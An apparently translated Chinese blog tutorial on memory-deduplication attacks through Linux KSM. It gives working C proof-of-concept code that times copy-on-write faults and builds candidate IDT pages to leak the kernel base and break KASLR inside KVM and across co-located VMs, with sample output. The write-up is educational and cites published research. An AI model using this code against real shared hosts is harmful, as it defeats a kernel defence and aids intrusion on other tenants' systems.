最近看到了一系列描述Memory Deduplication Attacks的研究,它已被用于指纹系统[1]、破解 (K)ASLR[2,3,4]、泄漏数据库记录[4],甚至利用 rowhammer[ 5]。这是一类非常酷的攻击,以前从未听说过,但我没有太多运气找到这些攻击的任何 POC......所以,我想我应该写下我学到的关于这些攻击如何运作的知识,并写下我自己的其中一种攻击版本可用于破坏当前 VM 以及跨 VM 的 KVM 中的 KASLR。
可以在此处找到与本文相关的代码示例存储库:https://github.com/zolutal/dedup-attacks
什么是Memory Deduplication
Memory Deduplication 是一种减少系统上使用的内存量的优化。这个想法是,相似的进程可能具有相似的内存内容,因此通过将具有相同内容的内存页指向相同的物理地址并将它们标记为写时复制,可以节省大量内存。
Linux 通过Kernel Same-Page Merging
(KSM)来实现这一点,顾名思义,它通过将具有相同内容的页面指向相同的物理内存来"合并"它们。 KSM 将以可配置的时间间隔定期运行,每次扫描多个页面以查找要合并的相同内容。
请注意,默认情况下可能未启用 KSM。此外,并非每个页面都是可合并的,在 Linux 上,只有明确标记为可合并的页面才可合并,例如将 madvise 与 MADV_MERGABLE 结合使用。
有关如何启用和配置 KSM 的文档位于此处:Kernel Samepage Merging
作为参考,Ubuntu 计算机上 KSM 的默认配置:
c
/sys/kernel/mm/ksm/run:1
/sys/kernel/mm/ksm/stable_node_chains_prune_millisecs:2000
/sys/kernel/mm/ksm/merge_across_nodes:1
/sys/kernel/mm/ksm/use_zero_pages:0
/sys/kernel/mm/ksm/pages_to_scan:100
/sys/kernel/mm/ksm/sleep_millisecs:200
/sys/kernel/mm/ksm/use_zero_pages:0
观察Memory Deduplication
如前所述,当页面被合并时,它会被设置为写时复制(CoW),简而言之,这只是意味着它的访问权限被设置为不可写(写保护)
,因此如果合并,就会发生页面错误,当内核发现尝试写入写时复制页面时发生页面错误时,它将将该页面的内容复制到新分配的页面,并在新页面上执行写操作。
因此,如果我们有一个已进行Deduplication的页面并对其进行写入,则会发生页面错误。页面错误必须由内核处理,内核必须识别页面错误是对写时复制页面的写入,分配一个新页面,将旧页面的内容复制到新页面,然后执行在返回用户空间之前再次写入。这是一大堆事情,比无故障内存写入需要更长的时间,这意味着我们可以轻松地使用计时器来记录写入是否是故障写入,从而使我们能够检测给定页面上是否发生了重复数据删除。
定时页面错误
那么利用deduplication的第一步是能够检测何时发生页面错误。演示页面错误检测的一个简单方法是使用使用 mmap 分配的内存。在 Linux 上,mmap 的默认行为是不立即分配所请求的内存。这是因为 Linux 实现了按需分页,因此页面在第一次访问之前不会分配内存。我们可以从下面的例子中看到这一点。
c
// write a null byte to addr
void poke(char *addr) { *addr = '\0'; }
// return the difference in the processor's timestamp before and after poke
uint64_t time_poke(char *addr) {
uint64_t start = __rdtsc();
poke(addr);
uint64_t end = __rdtsc();
return end-start;
}
// allocate a single read/write anon/private page
void *alloc_page() {
return mmap(0, 0x1000, PROT_READ|PROT_WRITE, MAP_ANON|MAP_PRIVATE, -1, 0);
}
int main() {
void *page = alloc_page();
// demonstrates that faulting accesses have distinct timings
printf("fault : %ld cycles\n", time_poke(page));
printf("post-fault: %ld cycles\n", time_poke(page));
}
计时器不是特别精确,但实际上并不需要如此,因为页面错误需要多长时间,以下是我运行此代码的结果:
c
fault : 7290 cycles
post-fault: 108 cycles
请注意,第一次访问花费的时间更长,这是因为如前所述,直到我尝试访问该页面时,该页面才被实际分配。因此,当我通过调用 poke 写入时,发生了页面错误,导致内核为该页面分配内存。现在,当第二次 Poke 计时时,页面已经分配,因此访问速度更快并且不会出现错误。
定时un-merging
现在让我们尝试使用 madvise 和 MADV_MERGABLE 来复制这一点。
除了 madvise 和附加写入之外,设置非常相似,现在我们让页面合并,并计算写时复制页面错误而不是请求分页页面错误。
c
...
// read a byte from addr
void maccess(char *addr) { volatile char c = *addr; }
// time maccess using the processor timestamp
uint64_t time_access(char *addr) {
uint64_t start = __rdtsc();
maccess(addr);
uint64_t end = __rdtsc();
return end-start;
}
int main() {
// allocate victim and attacker pages
void *victim = alloc_page();
void *attacker = alloc_page();
// mark both pages as mergable
madvise(victim, 0x1000, MADV_MERGEABLE);
madvise(attacker, 0x1000, MADV_MERGEABLE);
// write something unique to both pages so they aren't merged with
// other pages, this also faults them to be sure they are allocated
*(uint64_t *)victim = 0x1337;
*(uint64_t *)attacker = 0x1337;
printf("sleeping to wait for merge...\n");
sleep(10);
printf("finished sleeping... checking access times\n");
printf("read : %ld cycles\n", time_access(attacker));
printf("write : %ld cycles\n", time_poke(attacker));
printf("write : %ld cycles\n", time_poke(attacker));
return 0;
}
输出如下:
c
sleeping to wait for merge...
finished sleeping... checking access times
read : 54 cycles
write : 96768 cycles
write : 54 cycles
初始读取速度很快,这意味着该页面存在并且尚未被换出或发生任何其他情况,但第一次写入速度非常慢,而第二次写入速度很快。该结果表明由于页面已合并而在第一次写入时发生了页面错误,并且页面错误的时间差异非常明显。现在我们知道我们可以观察memory deduplication,让我们看看如何利用它。
针对KVM
Kernel Samepage Merging 最初是根据 KVM 设计的[7]。尽管 madvise 将其暴露给任何应用程序,但 KVM 仍然是它的主要用户,如果在系统上启用它,qemu 将默认使用它。
确保为 KVM 启用了 KSM
要检查系统上是否启用了 KSM,请检查 /sys/kernel/mm/ksm/run 的内容,如果设置为"1",则 KSM 已启用。
要检查是否使用 KVM 为 qemu 启用了 KSM,请检查 /etc/default/qemu-kvm 的内容,如果设置为"AUTO"或"1",则使用 KVM 的 qemu VM 的内存将变得可合并。
观察 KVM 中的deduplication
让我们确认使用类似的设置在 KVM 中可以检测到deduplication。我使用 qemu-system-x86_64 启动了一个 Linux VM,并指定了"-enable-kvm"和"-cpu host",并运行了以下代码。
c
// allocate victim and attacker pages
void *victim = alloc_page();
void *attacker = alloc_page();
// write something unique to both pages so they aren't merged with
// other zero pages, this also faults them to be sure they are allocated
memset((char *)victim, 0x41, 0x1000);
memset((char *)attacker, 0x41, 0x1000);
while (1) {
printf("sleeping to wait for merge...\n");
sleep(20);
printf("finished sleeping... checking access times\n");
// make sure attacker is present and in cache
time_access(attacker);
printf("write : %ld cycles\n", time_poke(attacker));
printf("write : %ld cycles\n", time_poke(attacker));
}
除了在虚拟机内部之外,此测试与上一个测试之间的唯一主要区别是页面不再使用 madvise 标记为可合并,并且计时被包含在循环中(因为合并VM 使用的内存需要更长的时间)。
以下是此测试的输出示例:
c
...
sleeping to wait for merge...
finished sleeping... checking access times
write : 81 cycles
write : 81 cycles
sleeping to wait for merge...
finished sleeping... checking access times
write : 55242 cycles
write : 54 cycles
...
因此,甚至无需将这些页面标记为可合并,我们就可以看到deduplication发生了!
打破KASLR
那么我们如何使用memory deduplication来打破KASLR呢?
描述这种攻击的文章[2]以重定位为目标,其思想是在内核被KASLR重定位后必须调整许多指令,如果我们能找到一些只有少数重定位的代码页,那么只有重新定位的指令在boot之间会有所不同,泄漏重新定位的指令将意味着破坏KASLR。因此,如果我们只是将用户空间中的一个页面与内核代码页的内容进行映射,并强制重定位,直到发生合并,我们就会出现泄漏!
中断描述符表 (IDT) 是此攻击的一个不错的目标,因为它充满了代表中断入口点的条目,这些条目仅在每次启动时因 KASLR 的变化而变化,从而影响它们将指向的地址。这使得生成条目相对容易,我可以启动虚拟机,转储 IDT 以收集每个条目的第一个 qword,根据要定位的内核的最低可能虚拟地址重新设置它们,然后将它们粘贴到数组。我将在存储库中包含一个我编写的脚本,该脚本使生成此数组变得容易。
对于具有如下所示条目的 IDT:
c
gef➤ x/16gx 0xfffffe0000000000
0xfffffe0000000000: 0x88808e0000100920 0x00000000ffffffff
0xfffffe0000000010: 0x88808e0300100c40 0x00000000ffffffff
0xfffffe0000000020: 0x88808e0200101680 0x00000000ffffffff
0xfffffe0000000030: 0x8880ee0000100b30 0x00000000ffffffff
0xfffffe0000000040: 0x8880ee0000100940 0x00000000ffffffff
0xfffffe0000000050: 0x88808e0000100960 0x00000000ffffffff
0xfffffe0000000060: 0x88808e0000100b10 0x00000000ffffffff
0xfffffe0000000070: 0x88808e0000100980 0x00000000ffffffff
我最终得到一个如下所示的数组:
c
uint64_t entries[256] = { 0x81208e0000100920, 0x81208e0300100c40, 0x81208e0200101680, 0x8120ee0000100b30, 0x8120ee0000100940, 0x81208e0000100960, 0x81208e0000100b10, 0x81208e0000100980, 0x81208e0100100ca0, 0x81208e00001009a0, 0x81208e0000100a20, 0x81208e0000100a50, 0x81208e0000100a80, 0x81208e0000100ab0, 0x81208e0000100b70, 0x81208e00001009c0, 0x81208e00001009e0, 0x81208e0000100ae0, 0x81208e0400100ba0, 0x81208e0000100a00, 0x81208e0000100db0, 0x82678e000010992d, 0x82678e0000109936, 0x82678e000010993f, 0x82678e0000109948, 0x82678e0000109951, 0x82678e000010995a, 0x82678e0000109963, 0x82678e000010996c, 0x81208e0500100d00, 0x82678e000010997e, 0x82678e0000109987, 0x81208e0000100f10, 0x81208e0000100228, 0x81208e0000100230, 0x81208e0000100238, 0x81208e0000100240, 0x81208e0000100248, 0x81208e0000100250, 0x81208e0000100258, 0x81208e0000100260, 0x81208e0000100268, 0x81208e0000100270, 0x81208e0000100278, 0x81208e0000100280, 0x81208e0000100288, 0x81208e0000100290, 0x81208e0000100298, 0x81208e00001002a0, 0x81208e00001002a8, 0x81208e00001002b0, 0x81208e00001002b8, 0x81208e00001002c0, 0x81208e00001002c8, 0x81208e00001002d0, 0x81208e00001002d8, 0x81208e00001002e0, 0x81208e00001002e8, 0x81208e00001002f0, 0x81208e00001002f8, 0x81208e0000100300, 0x81208e0000100308, 0x81208e0000100310, 0x81208e0000100318, 0x81208e0000100320, 0x81208e0000100328, 0x81208e0000100330, 0x81208e0000100338, 0x81208e0000100340, 0x81208e0000100348, 0x81208e0000100350, 0x81208e0000100358, 0x81208e0000100360, 0x81208e0000100368, 0x81208e0000100370, 0x81208e0000100378, 0x81208e0000100380, 0x81208e0000100388, 0x81208e0000100390, 0x81208e0000100398, 0x81208e00001003a0, 0x81208e00001003a8, 0x81208e00001003b0, 0x81208e00001003b8, 0x81208e00001003c0, 0x81208e00001003c8, 0x81208e00001003d0, 0x81208e00001003d8, 0x81208e00001003e0, 0x81208e00001003e8, 0x81208e00001003f0, 0x81208e00001003f8, 0x81208e0000100400, 0x81208e0000100408, 0x81208e0000100410, 0x81208e0000100418, 0x81208e0000100420, 0x81208e0000100428, 0x81208e0000100430, 0x81208e0000100438, 0x81208e0000100440, 0x81208e0000100448, 0x81208e0000100450, 0x81208e0000100458, 0x81208e0000100460, 0x81208e0000100468, 0x81208e0000100470, 0x81208e0000100478, 0x81208e0000100480, 0x81208e0000100488, 0x81208e0000100490, 0x81208e0000100498, 0x81208e00001004a0, 0x81208e00001004a8, 0x81208e00001004b0, 0x81208e00001004b8, 0x81208e00001004c0, 0x81208e00001004c8, 0x81208e00001004d0, 0x81208e00001004d8, 0x81208e00001004e0, 0x81208e00001004e8, 0x81208e00001004f0, 0x81208e00001004f8, 0x81208e0000100500, 0x81208e0000100508, 0x81208e0000100510, 0x81208e0000100518, 0x8120ee0000101a80, 0x81208e0000100528, 0x81208e0000100530, 0x81208e0000100538, 0x81208e0000100540, 0x81208e0000100548, 0x81208e0000100550, 0x81208e0000100558, 0x81208e0000100560, 0x81208e0000100568, 0x81208e0000100570, 0x81208e0000100578, 0x81208e0000100580, 0x81208e0000100588, 0x81208e0000100590, 0x81208e0000100598, 0x81208e00001005a0, 0x81208e00001005a8, 0x81208e00001005b0, 0x81208e00001005b8, 0x81208e00001005c0, 0x81208e00001005c8, 0x81208e00001005d0, 0x81208e00001005d8, 0x81208e00001005e0, 0x81208e00001005e8, 0x81208e00001005f0, 0x81208e00001005f8, 0x81208e0000100600, 0x81208e0000100608, 0x81208e0000100610, 0x81208e0000100618, 0x81208e0000100620, 0x81208e0000100628, 0x81208e0000100630, 0x81208e0000100638, 0x81208e0000100640, 0x81208e0000100648, 0x81208e0000100650, 0x81208e0000100658, 0x81208e0000100660, 0x81208e0000100668, 0x81208e0000100670, 0x81208e0000100678, 0x81208e0000100680, 0x81208e0000100688, 0x81208e0000100690, 0x81208e0000100698, 0x81208e00001006a0, 0x81208e00001006a8, 0x81208e00001006b0, 0x81208e00001006b8, 0x81208e00001006c0, 0x81208e00001006c8, 0x81208e00001006d0, 0x81208e00001006d8, 0x81208e00001006e0, 0x81208e00001006e8, 0x81208e00001006f0, 0x81208e00001006f8, 0x81208e0000100700, 0x81208e0000100708, 0x81208e0000100710, 0x81208e0000100718, 0x81208e0000100720, 0x81208e0000100728, 0x81208e0000100730, 0x81208e0000100738, 0x81208e0000100740, 0x81208e0000100748, 0x81208e0000100750, 0x81208e0000100758, 0x81208e0000100760, 0x81208e0000100768, 0x81208e0000100770, 0x81208e0000100778, 0x81208e0000100780, 0x81208e0000100788, 0x81208e0000100790, 0x81208e0000100798, 0x81208e00001007a0, 0x81208e00001007a8, 0x81208e00001007b0, 0x81208e00001007b8, 0x81208e00001007c0, 0x81208e00001007c8, 0x81208e00001007d0, 0x81208e00001007d8, 0x81208e00001007e0, 0x81208e00001007e8, 0x81208e00001007f0, 0x81208e00001007f8, 0x81208e0000100800, 0x81208e0000100808, 0x81208e0000100810, 0x81208e0000100818, 0x81208e0000100820, 0x81208e0000100828, 0x81208e0000100830, 0x81208e0000100838, 0x81208e0000100840, 0x81208e0000100848, 0x81208e0000100850, 0x81208e0000100858, 0x81208e0000100860, 0x81208e0000100868, 0x81208e0000100870, 0x81208e0000100878, 0x81208e0000100eb0, 0x81208e0000100888, 0x81208e0000100890, 0x81208e0000100898, 0x81208e0000101050, 0x81208e0000101030, 0x81208e0000101010, 0x81208e0000101110, 0x81208e0000100fb0, 0x81208e00001008c8, 0x81208e0000100ff0, 0x81208e0000100ed0, 0x81208e0000100f30, 0x81208e0000100f90, 0x81208e0000100fd0, 0x81208e0000100f50, 0x81208e0000100f70, 0x81208e0000100ef0, 0x81208e0000100e70, 0x81208e0000100e90 };
创建该数组后,可以很容易地为潜在的 KASLR 偏移量生成 IDT 页:
c
void *setup_idt_page(uint16_t offset) {
uint64_t *page = alloc_page();
for (int i = 0; i < 256; i++) {
uint64_t shifted_offset = (uint64_t)offset << 53;
page[i*2] = shifted_offset + entries[i];
page[i*2+1] = 0x00000000ffffffff;
}
return page;
}
现在剩下的就是将它们放在一起,我们将构建一个可以通过利用 IDT 页面上的 KSM 来破坏 KVM 内的 KASLR 的攻击!
c
// create candidate IDT pages
void *idt_pages[512];
for (int i = 0; i < 512; i++)
idt_pages[i] = setup_idt_page(i);
// detect if any candidate pages were merged
int attempt = 0;
while (1) {
printf("-- beginning attempt %d --\n", ++attempt);
uint64_t results[512];
for (int i = 0; i < 512; i++) {
void *page = idt_pages[i];
time_access(page);
uint64_t first = time_poke(page);
uint64_t second = time_poke(page);
void *base = (void *)0xffffffff80000000 + (i << 21);
printf("%p (%#03x): %ld => %ld\n", base, i, first, second);
results[i] = first;
}
for (uint64_t i = 0; i < 512; i++) {
if (results[i] > MERGE_THRESHOLD) {
printf("detected merged page at index %#03lx\n", i);
printf("kernel base = %p\n", (void *)0xffffffff80000000 + (i << 21));
return 0;
}
}
sleep(20);
}
在我的主机上 KSM 的默认配置下,我在一个已经运行了几分钟的虚拟机上用了不到九分钟就成功完成了 打破KASLR。
要看到攻击起作用而不必等待这么长时间,请考虑将 KSM 的 sleep_miliseconds 配置值降低到 20 毫秒左右。
跨虚拟机打破 KASLR
好吧,现在跨虚拟机怎么样?好吧,实际上没有什么可做的了。
在当前虚拟机上破坏 KASLR 的代码已经可以跨虚拟机工作,只要它们使用 KSM,它就会检测任何正在运行的虚拟机上存在的任何匹配的 IDT。
为了确认这一点,我运行了两个具有相同内核映像的虚拟机,并从攻击循环中删除了退出条件,这样即使它发现了重复数据删除的 IDT 页面,它也会继续运行,结果如下:
VM 1: 虚拟机1:
c
root@host:~/kvm-kaslr# cat /proc/kallsyms | grep "T _text"
ffffffffb5800000 T _text
VM 2: 虚拟机2:
c
/home/root # cat /proc/kallsyms | grep "T _text"
ffffffffb4400000 T _text
运行攻击一段时间后我得到了这个:
c
detected merged page at index 0x1ac
kernel base = 0xffffffffb5800000
随其后的是
c
detected merged page at index 0x1a2
kernel base = 0xffffffffb4400000
跨VM泄漏实现!
参考
[1] Rodney Owens and Weichao Wang. Non-interactive OS fingerprinting through memory de-duplication technique in virtual machines. In International Performance Computing and Communications Conference, 2011.
[2] Taehun Kim, Taehyun Kim, and Youngjoo Shin. Breaking kaslr using memory deduplication in virtualized environments. Electronics, 2021. URL: https://www.mdpi.com/2079-9292/10/17/2174.
[3] Antonio Barresi, Kaveh Razavi, Mathias Payer, and Thomas R. Gross. CAIN: silently breaking ASLR in the cloud. In WOOT, 2015.
[4] Martin Schwarzl, Erik Kraft, Moritz Lipp, and Daniel Gruss. Remote Page Deduplication Attacks. In NDSS, 2022.
[5] K. Razavi, B. Gras, E. Bosman, B. Preneel, C. Giuffrida, and H. Bos. Flip Feng Shui: Hammering a Needle in the Software Stack. in SEC, 2016.
[6] E. Bosman, K. Razavi, H. Bos, and C. Giuffrida. Dedup Est Machina: Memory Deduplication as an Advanced Exploitation Vector. In SP, 2016.
[7] lwn:https://lwn.net/Articles/306704/